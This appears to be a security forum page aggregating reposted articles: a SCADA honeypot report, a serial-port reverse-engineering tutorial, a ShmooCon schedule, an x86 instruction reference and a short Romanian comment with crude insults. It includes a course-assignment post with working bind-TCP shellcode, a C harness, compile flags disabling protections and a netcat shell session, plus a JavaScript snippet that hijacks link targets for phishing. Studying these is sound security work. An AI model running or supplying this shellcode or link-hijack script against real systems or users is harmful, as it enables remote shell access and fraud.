Nytro

[h=2]Trend Micro Warns of Attacks Against ICS/SCADA Systems[/h]March 17th, 2013 Mourad Ben Lakhoua At Blackhat Europe 2013 in Amsterdam security researcher at Trend Micro revealed a collaborative honeypot project with Scada security team that was running fake ICS/Scada devices used in many critical infrastructure power and water plants. The honeypot were optimized and promoted on different search engines such as google to be found directly and trick attacker about the reality of these servers. Servers were named Scada-1,Scada-2, and so on. According to Scada security researcher Kyle Wilhoit they also made the honeypot seeded on devices that were part of HD Moore’s Shodan Project.4. This to attract motivated and targeted attackers to easily find the servers and the first attack was detected after only 18 hours. You can have Trend Micro report by following this link: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-whos-really-attacking-your-ics-equipment.pdf Sursa: Trend Micro Warns of Attacks Against ICS/SCADA Systems | SecTechno

[h=1]Reverse Engineering Serial Ports[/h]By Craig | November 1, 2012 | Embedded Systems, Hardware, Tutorials Given the name of this blog and the number of requests that I’ve had, I think it’s high time we discussed serial ports; specifically, serial ports in embedded systems. My goal here is to describe the techniques that I’ve found effective in identifying and reverse engineering embedded serial ports through the use of definitive testing and educated guesses, and without the need for expensive equipment. [h=1]Introduction[/h] Serial ports are extremely useful to embedded developers, who commonly use them for: Accessing the boot loader Observing boot and debug messages Interacting with the system via a shell Needless to say, this functionality is also useful to hackers, so finding a serial port on an embedded device can be very advantageous. As a case study, we’ll be examining the PCB of a Westell 9100EM FiOS router for possible serial ports: Westell 9100EM PCB Now, these aren’t your dad’s RS-232 serial ports that we’re looking for; these are Universal Asynchronous Receiver Transmitters (UARTs), commonly found in embedded devices. Although protocol compatible, RS-232 and UART are not voltage compatible (from here on out I will use the terms “UART” and “serial port” interchangeably). UARTs most commonly operate at 3.3 volts, but can also be found operating at other standard voltages (5, 1.8, etc). Unfortunately there aren’t any industry standardized UART pin outs, and manufacturers don’t often go around advertising or documenting their debug interfaces, so we’ll need to do a bit of work in order to interface with these serial ports. Specifically, we need to reverse engineer both the hardware interface and the software protocol settings. Let’s start with the hardware interface first. For this, you’ll need a multimeter and a pair of eyeballs (or even one will do just fine). Yes, oscilloscopes and logic analyzers are useful and sometimes necessary, but 99% of the time a trusty multimeter and a bit of knowledge is all you need. [h=1]Identifying Serial Headers[/h] The first step is to try to identify potential candidates for serial port headers. Most serial port headers have at a minimum four pins: Vcc Ground Transmit Receive Typically you’ll want to look for a single row of 4-6 pins, although this is not a hard and fast rule and they can come in any pin configuration the manufacturer has decided on. On our 9100EM PCB we find two possible candidates, labeled P1402 and P1404: Possible serial port headers Sometimes you won’t have a nicely broken out set of pins like this, and you’ll have to examine test points on the board; usually starting with test points closest to the SoC is a good idea. Here is an example of a serial port exposed via test points on a different board, the WL530G: Serial port test points on a WL530G In either case the process of pin identification is the same, but usually takes longer if there is no header since there will likely be more than 4 test points on the board that you will need to examine. At this point either P1402 or P1404 could be serial port headers. Or they could both be serial port headers. Or neither could be a serial port header. So we’ll examine the pins on each header individually to try to gain some insight. Articol complet: http://www.devttys0.com/2012/11/reverse-engineering-serial-ports/

[h=1]Shell bind TCP shellcode[/h] Hello everybody, Last week I have finished the SecurityTube Linux Assembly Expert (SLAE) course that requires to accomplish 7 assignments in order to get certificated. Thus, I would like to publish shell_bind_TCP shellcode I have written in Intel IA-32 Assembly. The shellcode run test and the analysis are included in this post. [h=3]Source code[/h] I wrote two versions of the shell_bind_tcp shellcode. First, a very detailed one, shellcode size 141 bytes, you can get it here: shell_bind_tcp.nasm And a second one is just an extra attempt to reduce the shellcode size down to 108 bytes, here: shell_bind_tcp_smaller.nasm [h=3]Generating shellcode[/h] $ ./compile_all.sh shell_bind_tcp 43775 [I] Using custom port: 43775 [+] Assembling shell_bind_tcp.nasm with NASM ... [+] Linking shell_bind_tcp.o ... [+] Generating shellcode with objdump ... [+] Checking shellcode for NULLs ... [+] Shellcode size is 141 bytes "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xaa\xff" [+] Generating shellcode.c file with the shell_bind_tcp shellcode ... [+] Compiling shellcode.c with GCC ... [+] All done! You can run the shellcode now: $ ./shellcode [h=3]Checking generated shellcode.c[/h] arno $ cat shellcode.c #include <stdio.h> #include <string.h> # The shell_bind_TCP shellcode itself unsigned char code[] = \ "\x31\xc0\xb0\x66\x31\xdb\x43\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x50\x5f\x6a\x66\x58\x43\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xab\xff\xff\xff\xaa\xff"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); } [h=3]Compiling and executing a shellcode[/h] arno $ gcc -fno-stack-protector -z execstack shellcode.c -o shellcode arno $ ./shellcode Shellcode Length: 108 root # netstat --inet -apn |grep -i shellcode tcp 0 0 0.0.0.0:43775 0.0.0.0:* LISTEN 11137/./shellcode It appears to be our shellcode has been executed and listening on 43775/tcp port as expected. [h=3]Connecting to a shell[/h] root # nc localhost 43775 id uid=500(arno) gid=500(arno) groups=500(arno) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 date Sat Mar 9 13:59:11 CET 2013 quit //bin/sh: line 3: quit: command not found exit As you may have noticed, it is exactly our shell spawned (execve “//bin/sh”) while we tried to run a command that doesn’t exist on a server. [h=3]Shellcode emulation and visualization[/h] $ strace -e socket,bind,listen,accept,dup2,execve ./shellcode execve("./shellcode", ["./shellcode"], [/* 57 vars */]) = 0 [ Process PID=18644 runs in 32 bit mode. ] Shellcode Length: 141 socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 bind(3, {sa_family=AF_INET, sin_port=htons(43775), sin_addr=inet_addr("0.0.0.0")}, 16) = 0 listen(3, 1) = 0 accept(3, 0, NULL) = 4 dup2(4, 0) = 0 dup2(4, 1) = 1 dup2(4, 2) = 2 execve("//bin/sh", ["//bin/sh"], [/* 26 vars */]) = 0 [ Process PID=18644 runs in 64 bit mode. ] socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5 socket(PF_FILE, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, 0) = 5 --- SIGCHLD (Child exited) @ 0 (0) --- For better understanding, I suggest to look at the visualization together with the shellcode source that is very detailed —> shell_bind_tcp.nasm libemu was used to visualize the shellcode. Next assignment – Shell_Reverse_TCP shellcode is coming soon! Sursa: Shell bind TCP shellcode | NIXAID.COM

Failures of secret-key cryptography D. J. Bernstein University of Illinois at Chicago & Technische Universiteit Eindhoven 2011 Grigg Gutmann: In the past 15 years no one ever lost money to an attack on a properly designed cryptosystem (meaning one that didn't use homebrew crypto or toy keys) in the Internet or commercial worlds". Download: http://cr.yp.to/talks/2013.03.12/slides.pdf

[h=1]Hacking the <a> tag in 100 characters[/h] ? 17 March 2013 / 439 words / Facebook / Twitter / Discuss on HN A short while ago, I discovered that JavaScript allows you to change the <a> href after you click on it. It may not seem that serious at first glance, but rest assured, it can trick customers into giving in their details to fraudsters. Let me show you an example. This link should take you to PayPal. You'll see that you do not end up on PayPal (except on Opera, where it appears to have been fixed). That's because when you clicked on the link, I ran some code that changed the href attribute and, surprisingly, the browser sent me to the new link. That shouldn't happen. Website visitors (and perhaps most tech-savvy people) can and will presume where they end up could just be a genuine redirection from, in this case, PayPal. Last year, PayPal redirected their UK homepage to paypal-business.co.uk for months. My assumption is website visitors have grown accustom to redirections, and if this flaw acts as such, it can pose a real threat to what I call Phishing 2.0. Let's take a look at the JavaScript: // Uncompressed var links = document.getElementsByTagName('a'); for(var i=0; i < links.length; i++){ links[i].onclick = function(){ this.href = 'http://bit.ly/141nisR'; // Insert link here }; } // Compressed (100 characters exc. the link) o=document.getElementsByTagName('a');for(j=0;j<o.length;j++){o[j].onclick=function(){this.href='http://bit.ly/141nisR';}} It's also very difficult to detect. Almost everyone who uses JavaScript/jQuery will bind an event to an <a> tag, so it's not as simple as unbinding every <a> onclick function. It's very much possible to wrap the code above to a setTimeout to bypass whatever solution can be found. Any half-decent hacker can make a computer virus or embeddable JavaScript code that can inject this code alongside another piece of software. As it's incredibly easy to update JavaScript (particularly embeddable), I would say that tools such as McAfeeSecure and PhishTank won't be able to keep up with phishing websites up to the second. As it shows no real benefit, I'm pledging to World Wide Web Consortium (W3C) and major browsers to disable the option to change the href attribute after an onclick event. It is an incredibly simple interpreter flaw, and whilst it may seem normal to some, it can be used for ill-fated purposes rather than good. I'm aware Google and websites as such use this, but if we're suppose to making the web safer, we can't allow for what can be simple flaws to exist. There are alternatives (such as using the genuine link rather than masking it), and for that reason, it should be disabled. It's not worth internet users being victims of fraud and theft. Sursa: Hacking the <a> tag in 100 characters

[h=2]Developer releases source code of Linux speech recognition program[/h] Posted by Swapnil Bhartiya 17Mar2013 Independent developer James McClain has developed a program which uses Google Voice API in the back-end to conduct various tasks on a GNU/Linux machine, just the way Siri does on the iDevices. The program allows a user to open sites, ask questions and perform other tasks just by voice. While initially developed for Ubuntu it is distro agnostic and can be used by other distributions as well. The developer was running a private beta to further improve the project and has now released the source code under GNU GPL v3 licence. Watch the video below to see what this program of capable of doing. You can grab the source code from GitHub. We are experimenting with editor picked 'user comments'. If your comment contributes to the story we will add your comment to the story, with attribution. So, go ahead and tell us what you think. Comments posted on our Google+ page will also be considered. Sursa: Developer releases source code of Linux speech recognition program | Muktware

ShmooCon 2013 [TABLE=width: 80%, align: center] [TR] [TH=colspan: 2]Friday, February 15, 2013[/TH] [/TR] [TR] [TH=width: 10%] Time [/TH] [TH=width: 60%] [/TH] [/TR] [TR] [TD=align: center] 1200 [/TD] [TD=colspan: 1, align: center]Registration Opens[/TD] [/TR] [TR] [TD=align: center] 1430 [/TD] [TD=colspan: 1, align: center]Opening Remarks and Rants Bruce Potter Video [/TD] [/TR] [TR] [TD=align: center] 1530 [/TD] [TD=colspan: 1, align: center] How to Own a Building: Exploiting the Physical World with BacNET and the BacNET Attack FrameworkBrad Bowers Video [/TD] [/TR] [TR] [TD=align: center] 1600 [/TD] [TD=colspan: 1, align: center] Mainframed: The Secrets Inside that Black BoxPhil Young Video [/TD] [/TR] [TR] [TD=align: center] 1630 [/TD] [TD=colspan: 1, align: center] WIPE THE DRIVE!!! - Techniques for Malware PersistenceMark Baggett and Jake Williams Video Slides [/TD] [/TR] [TR] [TD=align: center] 1700 [/TD] [TD=colspan: 1, align: center] Apple iOS Certificate TomfooleryTim Medin Video [/TD] [/TR] [TR] [TD=align: center] 1730 [/TD] [TD=colspan: 1, align: center] Hide and Seek, Post-Exploitation StyleTJ O'Connor and Tim Tomes Video [/TD] [/TR] [TR] [TD=align: center] 1800 [/TD] [TD=colspan: 1, align: center] Bringing The Sexy Back To...Defense In DepthMartin Fisher [/TD] [/TR] [TR] [TD=align: center] 1830 [/TD] [TD=colspan: 1, align: center] Hackers get Schooled: Learning Lessons from AcademiaBruce Potter (moderator), Matt Blaze, Chris Eagle, Invisigoth, Dave Marcus and Michael Schearer Video [/TD] [/TR] [TR] [TD=align: center] 2000 [/TD] [TD=colspan: 1, align: center]Video [/TD] [/TR] [/TABLE] [TABLE=width: 80%, align: center] [TR] [TH=colspan: 4] Saturday, February 16, 2013 [/TH] [/TR] [TR] [TH=width: 5%] Time [/TH] [TH=width: 20%] Build It! [/TH] [TH=width: 20%] Belay It! [/TH] [TH=width: 20%] Bring it On! [/TH] [/TR] [TR] [TD=align: center] 0930 [/TD] [TD=colspan: 3, align: center]Registration Opens[/TD] [/TR] [TR] [TD=align: center] 1000 [/TD] [TD=align: center] Running a CTF .. Panel and DIscussion on the Art of Hacker GamingBranson Matheson, Brett Thorson, Liam Randall, Jordan Wiens, Tyler Nighswander Video [/TD] [TD=align: center] C10M: Defending the Internet at ScaleRobert Graham Video [/TD] [TD=align: center] Paparazzi over IPDaniel Mende and Pascal Turbing Video [/TD] [/TR] [TR] [TD=align: center] 1100 [/TD] [TD=align: center] DIY: Using Trust to Secure Embedded ProjectsTeddy Reed and David Anthony Video [/TD] [TD=align: center] Moloch: A New and Free Way To Index Your Packet Capture RepositoryAndy Wick and Eoin Miller Video [/TD] [TD=align: center] OpenStack Security BriefMatthew Joyce Video [/TD] [/TR] [TR] [TD=align: center] 1200 [/TD] [TD=align: center] Generalized Single Packet Authorization for Cloud Computing EnvironmentsMichael Rash Video [/TD] [TD=align: center] From "Shotgun Parsers" to Better Software StacksMeredith Patterson, Sergey Bratus and Dan TQ Hirsh Video [/TD] [TD=align: center] The Computer Fraud and Abuse Act: Swartz, Auernheimer, and BeyondOrin Kerr and Marcia Hoffman Video [/TD] [/TR] [TR] [TD=align: center] 1300 [/TD] [TD=colspan: 3, align: center]Lunch[/TD] [/TR] [TR] [TD=align: center] 1400 [/TD] [TD=align: center] Malware Analysis: Collaboration, Automation & TrainingRichard Harman Video [/TD] [TD=align: center] Bright Shiny Things: Why We Need Intelligent Data Access ControlsBob Bigman, Craig Rosen, David Ferraiolo, Mark McGovern Video [/TD] [TD=align: center] Ten Strategies of a World-Class Computer Security Incident Response TeamCarson Zimmerman Video [/TD] [/TR] [TR] [TD=align: center] 1500 [/TD] [TD=align: center] Armor for your Android AppsRoman Faynberg Video [/TD] [TD=align: center] Protecting Sensitive Information on iOS DevicesDavid Schuetz Video [/TD] [TD=align: center] Beyond Nymwars: An Analysis of the Online Identity BattlegroundAestetix Video [/TD] [/TR] [TR] [TD=align: center] 1600 [/TD] [TD=align: center] How Smart Is Bluetooth Smart?Mike Ryan Video [/TD] [TD=align: center] Chopshop: Busting the Gh0stWesley Shields and Murad Khan Video [/TD] [TD=align: center] The Cloud - Storms on the HorizonTyler Pitchford Video [/TD] [/TR] [TR] [TD=align: center] 1700 [/TD] [TD=align: center] 0wn the ConThe Shmoo Group Video [/TD] [TD=align: center] PunkSPIDER: An Open Source, Scalable Distributed Fuzzing Project Targeting the Entire InternetAlejandro Caceres Video [/TD] [TD=align: center] Crypto: You're doing it wrongRon Bowes Video [/TD] [/TR] [TR] [TD=align: center] 1830 [/TD] [TD=colspan: 3, align: center]Fire Talks[/TD] [/TR] [TR] [TD=align: center] 2000 [/TD] [TD=colspan: 3, align: center]Saturday Night Party @ TBD[/TD] [/TR] [/TABLE] [TABLE=width: 80%, align: center] [TR] [TH=colspan: 4] Sunday, February 17, 2013 [/TH] [/TR] [TR] [TH=width: 5%] Time [/TH] [TH=width: 20%] Build It! [/TH] [TH=width: 20%] Belay It! [/TH] [TH=width: 20%] Bring it On! [/TH] [/TR] [TR] [TD=align: center] 0930 [/TD] [TD=colspan: 3, align: center]Registration Opens[/TD] [/TR] [TR] [TD=align: center] 1000 [/TD] [TD=align: center] Identity-Based Internet Protocol NetworkDavid Pisano Video [/TD] [TD=align: center] NSM and more with Bro Network MonitorLiam Randall Video [/TD] [TD=align: center] These Go to Eleven: When the Law Goes Too FarMichael Schearer Video [/TD] [/TR] [TR] [TD=align: center] 1100 [/TD] [TD=align: center] Forensics - ExFat Bastardized for CamerasScott Moulton Video [/TD] [TD=align: center] Page Fault Liberation Army or Better Security Through TrappingJulian Bangert and Sergey Bratus Video [/TD] [TD=align: center] Hacking as an Act of WarGmark Hardy Video [/TD] [/TR] [TR] [TD=align: center] 1200 [/TD] [TD=align: center] MASTIFF: Automated Static Analysis FrameworkTyler Hudak Video [/TD] [TD=align: center] Attacking scada Wireless Systems for Fun and Profit - and FixingAtlas Video [/TD] [TD=align: center] Ka-ching! How to Make Real MoneyMargaret Russell Video [/TD] [/TR] [TR] [TD=align: center] 1300 [/TD] [TD=colspan: 3, align: center]Room Split Break[/TD] [/TR] [TR] [TD=align: center] 1330 [/TD] [TD=colspan: 3, align: center] Is Practical Information Sharing Possible?Sean Barnum, Doug Wilson, Ben Miller Video [/TD] [/TR] [TR] [TD=align: center] 1430 [/TD] [TD=colspan: 3, align: center]Closing Remarks[/TD] [/TR] [/TABLE] Copyright © 2012 ShmooCon Sursa: ShmooCon 2013 - February 15-17 - ShmooCon 2013

Download Microsoft Mathematics 4.0 from Official Microsoft Download Center MATLAB - The Language of Technical Computing

Duminica, 18:00, la "Romania, te iubesc". Infractionalitatea cibernetica, un fenomen mai periculos decat terorismul pentru viitor Cine pula mea e ratatu ala cu 9 clase? Edit: E Iceman (Robert Butyka), fara dinti si fara gramatica.

x86/x64 Instruction Set Reference This is an unofficial online version of the Intel 64 instruction set reference. It provides a list of the available instructions for IA-32 and Intel 64 microprocessors, their assembly mnemonics, encodings, descriptions, pseudo code and the exceptions they can throw. This information is largely compatible with AMD64 processors, except for some minor differences. [TABLE] [TR] [TH]Instruction[/TH] [TH]Description[/TH] [/TR] [TR] [TD] AAA [/TD] [TD] ASCII Adjust After Addition [/TD] [/TR] [TR] [TD] AAD [/TD] [TD] ASCII Adjust AX Before Division [/TD] [/TR] [TR] [TD] AAM [/TD] [TD] ASCII Adjust AX After Multiply [/TD] [/TR] [TR] [TD] AAS [/TD] [TD] ASCII Adjust AL After Subtraction [/TD] [/TR] [TR] [TD] ADD [/TD] [TD] Add [/TD] [/TR] [TR] [TD] ADDPD [/TD] [TD] Add Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ADDPS [/TD] [TD] Add Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ADDSD [/TD] [TD] Add Scalar Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ADDSS [/TD] [TD] Add Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ADDSUBPD [/TD] [TD] Packed Double-FP Add/Subtract [/TD] [/TR] [TR] [TD] ADDSUBPS [/TD] [TD] Packed Single-FP Add/Subtract [/TD] [/TR] [TR] [TD] AESDEC [/TD] [TD] Perform One Round of an AES Decryption Flow [/TD] [/TR] [TR] [TD] AESDECLAST [/TD] [TD] Perform Last Round of an AES Decryption Flow [/TD] [/TR] [TR] [TD] AESENC [/TD] [TD] Perform One Round of an AES Encryption Flow [/TD] [/TR] [TR] [TD] AESENCLAST [/TD] [TD] Perform Last Round of an AES Encryption Flow [/TD] [/TR] [TR] [TD] AESIMC [/TD] [TD] Perform the AES InvMixColumn Transformation [/TD] [/TR] [TR] [TD] AESKEYGENASSIST [/TD] [TD] AES Round Key Generation Assist [/TD] [/TR] [TR] [TD] ANDNPD [/TD] [TD] Bitwise Logical AND NOT of Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ANDNPS [/TD] [TD] Bitwise Logical AND NOT of Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ANDPD [/TD] [TD] Bitwise Logical AND of Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ANDPS [/TD] [TD] Bitwise Logical AND of Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] ARPL [/TD] [TD] Adjust RPL Field of Segment Selector [/TD] [/TR] [TR] [TD] BLENDPD [/TD] [TD] Blend Packed Double Precision Floating-Point Values [/TD] [/TR] [TR] [TD] BLENDPS [/TD] [TD] Blend Packed Single Precision Floating-Point Values [/TD] [/TR] [TR] [TD] BLENDVPD [/TD] [TD] Variable Blend Packed Double Precision Floating-Point Values [/TD] [/TR] [TR] [TD] BLENDVPS [/TD] [TD] Variable Blend Packed Single Precision Floating-Point Values [/TD] [/TR] [TR] [TD] BOUND [/TD] [TD] Check Array Index Against Bounds [/TD] [/TR] [TR] [TD] BSF [/TD] [TD] Bit Scan Forward [/TD] [/TR] [TR] [TD] BSR [/TD] [TD] Bit Scan Reverse [/TD] [/TR] [TR] [TD] BSWAP [/TD] [TD] Byte Swap [/TD] [/TR] [TR] [TD] BT [/TD] [TD] Bit Test [/TD] [/TR] [TR] [TD] BTC [/TD] [TD] Bit Test and Complement [/TD] [/TR] [TR] [TD] BTR [/TD] [TD] Bit Test and Reset [/TD] [/TR] [TR] [TD] BTS [/TD] [TD] Bit Test and Set [/TD] [/TR] [TR] [TD] CALL [/TD] [TD] Call Procedure [/TD] [/TR] [TR] [TD] CBW/CWDE/CDQE [/TD] [TD] Convert Byte to Word/Convert Word to Doubleword/Convert Doubleword to Quadword [/TD] [/TR] [TR] [TD] CLC [/TD] [TD] Clear Carry Flag [/TD] [/TR] [TR] [TD] CLD [/TD] [TD] Clear Direction Flag [/TD] [/TR] [TR] [TD] CLFLUSH [/TD] [TD] Flush Cache Line [/TD] [/TR] [TR] [TD] CLI [/TD] [TD] Clear Interrupt Flag [/TD] [/TR] [TR] [TD] CLTS [/TD] [TD] Clear Task-Switched Flag in CR0 [/TD] [/TR] [TR] [TD] CMC [/TD] [TD] Complement Carry Flag [/TD] [/TR] [TR] [TD] CMOVcc [/TD] [TD] Conditional Move [/TD] [/TR] [TR] [TD] CMP [/TD] [TD] Compare Two Operands [/TD] [/TR] [TR] [TD] CMPPD [/TD] [TD] Compare Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] CMPPS [/TD] [TD] Compare Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] CMPS/CMPSB/CMPSW/CMPSD/CMPSQ [/TD] [TD] Compare String Operands [/TD] [/TR] [TR] [TD] CMPSS [/TD] [TD] Compare Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] CMPXCHG [/TD] [TD] Compare and Exchange [/TD] [/TR] [TR] [TD] CMPXCHG8B/CMPXCHG16B [/TD] [TD] Compare and Exchange Bytes [/TD] [/TR] [TR] [TD] COMISS [/TD] [TD] Compare Scalar Ordered Single-Precision Floating-Point Values and Set EFLAGS [/TD] [/TR] [TR] [TD] CPUID [/TD] [TD] CPU Identification [/TD] [/TR] [TR] [TD] CRC32 [/TD] [TD] Accumulate CRC32 Value [/TD] [/TR] [TR] [TD] CVTDQ2PD [/TD] [TD] Convert Packed Dword Integers to Packed Double-Precision FP Values [/TD] [/TR] [TR] [TD] CVTDQ2PS [/TD] [TD] Convert Packed Dword Integers to Packed Single-Precision FP Values [/TD] [/TR] [TR] [TD] CVTPD2DQ [/TD] [TD] Convert Packed Double-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTPD2PI [/TD] [TD] Convert Packed Double-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTPD2PS [/TD] [TD] Convert Packed Double-Precision FP Values to Packed Single-Precision FP Values [/TD] [/TR] [TR] [TD] CVTPI2PD [/TD] [TD] Convert Packed Dword Integers to Packed Double-Precision FP Values [/TD] [/TR] [TR] [TD] CVTPI2PS [/TD] [TD] Convert Packed Dword Integers to Packed Single-Precision FP Values [/TD] [/TR] [TR] [TD] CVTPS2DQ [/TD] [TD] Convert Packed Single-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTPS2PD [/TD] [TD] Convert Packed Single-Precision FP Values to Packed Double-Precision FP Values [/TD] [/TR] [TR] [TD] CVTPS2PI [/TD] [TD] Convert Packed Single-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTSD2SI [/TD] [TD] Convert Scalar Double-Precision FP Value to Integer [/TD] [/TR] [TR] [TD] CVTSD2SS [/TD] [TD] Convert Scalar Double-Precision FP Value to Scalar Single-Precision FP Value [/TD] [/TR] [TR] [TD] CVTSI2SD [/TD] [TD] Convert Dword Integer to Scalar Double-Precision FP Value [/TD] [/TR] [TR] [TD] CVTSI2SS [/TD] [TD] Convert Dword Integer to Scalar Single-Precision FP Value [/TD] [/TR] [TR] [TD] CVTSS2SD [/TD] [TD] Convert Scalar Single-Precision FP Value to Scalar Double-Precision FP Value [/TD] [/TR] [TR] [TD] CVTSS2SI [/TD] [TD] Convert Scalar Single-Precision FP Value to Dword Integer [/TD] [/TR] [TR] [TD] CVTTPD2DQ [/TD] [TD] Convert with Truncation Packed Double-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTTPD2PI [/TD] [TD] Convert with Truncation Packed Double-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTTPS2DQ [/TD] [TD] Convert with Truncation Packed Single-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTTPS2PI [/TD] [TD] Convert with Truncation Packed Single-Precision FP Values to Packed Dword Integers [/TD] [/TR] [TR] [TD] CVTTSD2SI [/TD] [TD] Convert with Truncation Scalar Double-Precision FP Value to Signed Integer [/TD] [/TR] [TR] [TD] CVTTSS2SI [/TD] [TD] Convert with Truncation Scalar Single-Precision FP Value to Dword Integer [/TD] [/TR] [TR] [TD] CWD/CDQ/CQO [/TD] [TD] Convert Word to Doubleword/Convert Doubleword to Quadword [/TD] [/TR] [TR] [TD] DAA [/TD] [TD] Decimal Adjust AL after Addition [/TD] [/TR] [TR] [TD] DAS [/TD] [TD] Decimal Adjust AL after Subtraction [/TD] [/TR] [TR] [TD] DEC [/TD] [TD] Decrement by 1 [/TD] [/TR] [TR] [TD] DIV [/TD] [TD] Unsigned Divide [/TD] [/TR] [TR] [TD] DIVPD [/TD] [TD] Divide Packed Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] DIVPS [/TD] [TD] Divide Packed Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] DIVSD [/TD] [TD] Divide Scalar Double-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] DIVSS [/TD] [TD] Divide Scalar Single-Precision Floating-Point Values [/TD] [/TR] [TR] [TD] DPPD [/TD] [TD] Dot Product of Packed Double Precision Floating-Point Values [/TD] [/TR] [TR] [TD] DPPS [/TD] [TD] Dot Product of Packed Single Precision Floating-Point Values [/TD] [/TR] [TR] [TD] EMMS [/TD] [TD] Empty MMX Technology State [/TD] [/TR] [TR] [TD] ENTER [/TD] [TD] Make Stack Frame for Procedure Parameters [/TD] [/TR] [TR] [TD] EXTRACTPS [/TD] [TD] Extract Packed Single Precision Floating-Point Value [/TD] [/TR] [TR] [TD] F2XM1 [/TD] [TD] Calculate 2x - 1 [/TD] [/TR] [TR] [TD] FABS [/TD] [TD] Absolute Value [/TD] [/TR] [TR] [TD] FADD/FADDP/FIADD [/TD] [TD] Add [/TD] [/TR] [TR] [TD] FBLD [/TD] [TD] Load Binary Coded Decimal [/TD] [/TR] [TR] [TD] FBSTP [/TD] [TD] Store BCD Integer and Pop [/TD] [/TR] [TR] [TD] FCHS [/TD] [TD] Change Sign [/TD] [/TR] [TR] [TD] FCLEX/FNCLEX [/TD] [TD] Clear Exceptions [/TD] [/TR] [TR] [TD] FCMOVcc [/TD] [TD] Floating-Point Conditional Move [/TD] [/TR] [TR] [TD] FCOMI/FCOMIP/FUCOMI/FUCOMIP [/TD] [TD] Compare Floating Point Values and Set EFLAGS [/TD] [/TR] [TR] [TD] FDECSTP [/TD] [TD] Decrement Stack-Top Pointer [/TD] [/TR] [TR] [TD] FDIV/FDIVP/FIDIV [/TD] [TD] Divide [/TD] [/TR] [TR] [TD] FDIVR/FDIVRP/FIDIVR [/TD] [TD] Reverse Divide [/TD] [/TR] [TR] [TD] FICOM/FICOMP [/TD] [TD] Compare Integer [/TD] [/TR] [TR] [TD] FILD [/TD] [TD] Load Integer [/TD] [/TR] [TR] [TD] FINCSTP [/TD] [TD] Increment Stack-Top Pointer [/TD] [/TR] [TR] [TD] FINIT/FNINIT [/TD] [TD] Initialize Floating-Point Unit [/TD] [/TR] [TR] [TD] FIST/FISTP [/TD] [TD] Store Integer [/TD] [/TR] [TR] [TD] FISTTP [/TD] [TD] Store Integer with Truncation [/TD] [/TR] [TR] [TD] FLD [/TD] [TD] Load Floating Point Value [/TD] [/TR] [TR] [TD] FLD1/FLDL2T/FLDL2E/FLDPI/FLDLG2/FLDLN2/FLDZ [/TD] [TD] Load Constant [/TD] [/TR] [TR] [TD] FLDENV [/TD] [TD] Load x87 FPU Environment [/TD] [/TR] [TR] [TD] FMUL/FMULP/FIMUL [/TD] [TD] Multiply [/TD] [/TR] [TR] [TD] FNOP [/TD] [TD] No Operation [/TD] [/TR] [TR] [TD] FPATAN [/TD] [TD] Partial Arctangent [/TD] [/TR] [TR] [TD] FPREM [/TD] [TD] Partial Remainder [/TD] [/TR] [TR] [TD] FPREM1 [/TD] [TD] Partial Remainder [/TD] [/TR] [TR] [TD] FPTAN [/TD] [TD] Partial Tangent [/TD] [/TR] [TR] [TD] FRNDINT [/TD] [TD] Round to Integer [/TD] [/TR] [TR] [TD] FRSTOR [/TD] [TD] Restore x87 FPU State [/TD] [/TR] [TR] [TD] FSAVE/FNSAVE [/TD] [TD] Store x87 FPU State 